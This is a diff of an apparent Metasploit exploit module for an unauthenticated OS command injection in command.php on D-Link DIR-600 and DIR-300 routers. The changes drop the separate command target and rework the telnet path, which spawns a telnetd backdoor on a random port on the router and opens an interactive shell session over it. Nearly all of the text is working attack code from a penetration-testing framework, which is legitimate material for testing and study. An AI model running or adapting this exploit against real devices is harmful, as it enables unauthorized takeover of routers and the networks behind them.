@@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
Rank = ExcellentRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
- include Msf ::Auxiliary ::CommandShell
15
14
16
15
def initialize ( info = { } )
17
16
super ( update_info ( info ,
@@ -20,10 +19,7 @@ def initialize(info = {})
20
19
Different D-Link Routers are vulnerable to OS command injection via the web
21
20
interface. The vulnerability exists in command.php, which is accessible without
22
21
authentication. This module has been tested with the versions DIR-600 2.14b01,
23
- DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service
24
- and establish a session over it, the second one runs commands via the CMD target.
25
- There is no wget or tftp client to upload an elf backdoor easily. According to the
26
- vulnerability discoverer, more D-Link devices may affected.
22
+ DIR-300 rev B 2.13.
27
23
} ,
28
24
'Author' =>
29
25
[
@@ -42,61 +38,45 @@ def initialize(info = {})
42
38
] ,
43
39
'DisclosureDate' => 'Feb 04 2013' ,
44
40
'Privileged' => true ,
45
- 'Platform' => [ 'linux' , 'unix' ] ,
46
- 'Payload' =>
41
+ 'Platform' => 'unix' ,
42
+ 'Arch' => ARCH_CMD ,
43
+ 'Payload' =>
47
44
{
48
- 'DisableNops' => true ,
45
+ 'Compat' => {
46
+ 'PayloadType' => 'cmd_interact' ,
47
+ 'ConnectionType' => 'find' ,
48
+ } ,
49
49
} ,
50
+ 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' } ,
50
51
'Targets' =>
51
52
[
52
- [ 'CMD' , #all devices
53
- {
54
- 'Arch' => ARCH_CMD ,
55
- 'Platform' => 'unix'
56
- }
57
- ] ,
58
- [ 'Telnet' , #all devices - default target
59
- {
60
- 'Arch' => ARCH_CMD ,
61
- 'Platform' => 'unix'
62
- }
63
- ] ,
53
+ [ 'Automatic' , { } ]
64
54
] ,
65
- 'DefaultTarget' => 1
55
+ 'DefaultTarget' => 0
66
56
) )
67
- end
68
57
69
- def exploit
70
- if target . name =~ /CMD/
71
- exploit_cmd
72
- else
73
- exploit_telnet
74
- end
58
+ register_advanced_options (
59
+ [
60
+ OptInt . new ( 'TelnetTimeout' , [ true , 'The number of seconds to wait for a reply from a Telnet command' , 10 ] ) ,
61
+ OptInt . new ( 'TelnetBannerTimeout' , [ true , 'The number of seconds to wait for the initial banner' , 25 ] ) ,
62
+ OptInt . new ( 'SessionTimeout' , [ true , 'The number of seconds to wait before building the session on the telnet connection' , 10 ] )
63
+ ] , self . class )
64
+
75
65
end
76
66
77
- def exploit_cmd
78
- if not ( datastore [ 'CMD' ] )
79
- fail_with ( Failure ::BadConfig , "#{ rhost } :#{ rport } - Only the cmd/generic payload is compatible" )
80
- end
81
- cmd = "#{ payload . encoded } ; echo end"
82
- print_status ( "#{ rhost } :#{ rport } - Sending exploit request..." )
83
- res = request ( cmd )
84
- if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux, HTTP\/ 1.1, DIR/ )
85
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
86
- end
67
+ def tel_timeout
68
+ ( datastore [ 'TelnetTimeout' ] || 10 ) . to_i
69
+ end
87
70
88
- if res . body . include? ( "end" )
89
- print_good ( "#{ rhost } :#{ rport } - Exploited successfully\n " )
90
- vprint_line ( "#{ rhost } :#{ rport } - Command: #{ datastore [ 'CMD' ] } \n " )
91
- vprint_line ( "#{ rhost } :#{ rport } - Output: #{ res . body } " )
92
- else
93
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
94
- end
71
+ def banner_timeout
72
+ ( datastore [ 'TelnetBannerTimeout' ] || 25 ) . to_i
73
+ end
95
74
96
- return
75
+ def session_timeout
76
+ ( datastore [ 'SessionTimeout' ] || 10 ) . to_i
97
77
end
98
78
99
- def exploit_telnet
79
+ def exploit
100
80
telnetport = rand ( 65535 )
101
81
102
82
print_status ( "#{ rhost } :#{ rport } - Telnet port used: #{ telnetport } " )
@@ -107,39 +87,33 @@ def exploit_telnet
107
87
print_status ( "#{ rhost } :#{ rport } - Sending exploit request..." )
108
88
request ( cmd )
109
89
110
- begin
111
- sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => telnetport . to_i } )
90
+ print_status ( " #{ rhost } : #{ rport } - Trying to establish a telnet connection..." )
91
+ sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => telnetport . to_i } )
112
92
113
- if sock
114
- print_good ( "#{ rhost } :#{ rport } - Backdoor service has been spawned, handling..." )
115
- add_socket ( sock )
116
- else
117
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
118
- end
93
+ if sock . nil?
94
+ fail_with ( Exploit ::Failure ::Unreachable , "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
95
+ end
119
96
120
- print_status "Attempting to start a Telnet session #{ rhost } :#{ telnetport } "
121
- auth_info = {
122
- :host => rhost ,
123
- :port => telnetport ,
124
- :sname => 'telnet' ,
125
- :user => "" ,
126
- :pass => "" ,
127
- :source_type => "exploit" ,
128
- :active => true
129
- }
130
- report_auth_info ( auth_info )
131
- merge_me = {
132
- 'USERPASS_FILE' => nil ,
133
- 'USER_FILE' => nil ,
134
- 'PASS_FILE' => nil ,
135
- 'USERNAME' => nil ,
136
- 'PASSWORD' => nil
137
- }
138
- start_session ( self , "TELNET (#{ rhost } :#{ telnetport } )" , merge_me , false , sock )
139
- rescue
140
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Could not handle the backdoor service" )
97
+ print_status ( "#{ rhost } :#{ rport } - Trying to establish a telnet session..." )
98
+ prompt = negotiate_telnet ( sock )
99
+ if prompt . nil?
100
+ sock . close
101
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to establish a telnet session" )
102
+ else
103
+ print_good ( "#{ rhost } :#{ rport } - Telnet session successfully established... trying to connect" )
104
+ end
105
+
106
+ print_status ( "#{ rhost } :#{ rport } - Trying to create the Msf session..." )
107
+ begin
108
+ Timeout . timeout ( session_timeout ) do
109
+ activated = handler ( sock )
110
+ while ( activated !~ /claimed/ )
111
+ activated = handler ( sock )
112
+ end
113
+ end
114
+ rescue ::Timeout ::Error
115
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to establish a Msf session" )
141
116
end
142
- return
143
117
end
144
118
145
119
def request ( cmd )
@@ -156,7 +130,24 @@ def request(cmd)
156
130
} )
157
131
return res
158
132
rescue ::Rex ::ConnectionError
159
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Could not connect to the webservice" )
133
+ fail_with ( Exploit :: Failure ::Unreachable , "#{ rhost } :#{ rport } - Could not connect to the webservice" )
160
134
end
161
135
end
136
+
137
+ def negotiate_telnet ( sock )
138
+ begin
139
+ Timeout . timeout ( banner_timeout ) do
140
+ while ( true )
141
+ data = sock . get_once ( -1 , tel_timeout )
142
+ return nil if not data or data . length == 0
143
+ if data =~ /\x23 \x20 $/
144
+ return true
145
+ end
146
+ end
147
+ end
148
+ rescue ::Timeout ::Error
149
+ return nil
150
+ end
151
+ end
152
+
162
153
end
0 commit comments